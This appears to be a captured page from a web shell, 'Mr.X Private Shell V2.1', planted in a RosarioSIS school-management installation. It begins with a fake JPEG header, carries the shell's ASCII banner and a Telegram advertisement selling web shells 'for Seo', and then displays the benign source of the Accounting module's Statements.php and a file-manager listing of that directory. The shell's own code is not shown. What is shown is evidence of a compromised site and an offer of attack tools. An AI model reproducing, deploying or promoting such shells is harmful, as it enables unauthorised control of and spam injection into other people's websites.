����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
StaffWidgets( 'staff_balance' );
if ( ! isset( $_REQUEST['_ROSARIO_PDF'] ) && ! $_REQUEST['search_modfunc'] )
{
DrawHeader( ProgramTitle() );
$extra['new'] = true;
$extra['action'] = issetVal( $extra['action'], '' );
$extra['action'] .= "&_ROSARIO_PDF=true";
Search( 'staff_id', issetVal( $extra ) );
}
else
{
// For the Salaries / Staff Payments programs
$_REQUEST['print_statements'] = true;
if ( User( 'PROFILE' ) === 'teacher' ) //limit to teacher himself
{
$extra['WHERE'] = issetVal( $extra['WHERE'], '' );
$extra['WHERE'] .= " AND s.STAFF_ID = '" . User( 'STAFF_ID' ) . "'";
}
$RET = GetStaffList( $extra );
if ( ! empty( $RET ) )
{
$SESSION_staff_id_save = UserStaffID();
$handle = PDFStart();
foreach ( (array) $RET as $staff )
{
SetUserStaffID( $staff['STAFF_ID'] );
unset( $_ROSARIO['DrawHeader'] );
DrawHeader( _( 'Statement' ) );
DrawHeader( $staff['FULL_NAME'], $staff['STAFF_ID'] );
DrawHeader( SchoolInfo( 'TITLE' ), ProperDate( DBDate() ) );
require 'modules/Accounting/Salaries.php';
require 'modules/Accounting/StaffPayments.php';
echo '<div style="page-break-after: always;"></div>';
}
$_SESSION['staff_id'] = $SESSION_staff_id_save;
PDFStop( $handle );
}
else
{
BackPrompt( _( 'No Staff were found.' ) );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| Categories.php | File | 4.22 KB | 0644 |
|
| DailyTransactions.php | File | 1.27 KB | 0644 |
|
| Expenses.php | File | 7 KB | 0644 |
|
| Incomes.php | File | 6.99 KB | 0644 |
|
| Menu.php | File | 1.21 KB | 0644 |
|
| Salaries.php | File | 4.95 KB | 0644 |
|
| StaffBalances.php | File | 1.32 KB | 0644 |
|
| StaffPayments.php | File | 4.65 KB | 0644 |
|
| Statements.php | File | 1.28 KB | 0644 |
|
| functions.inc.php | File | 10.25 KB | 0644 |
|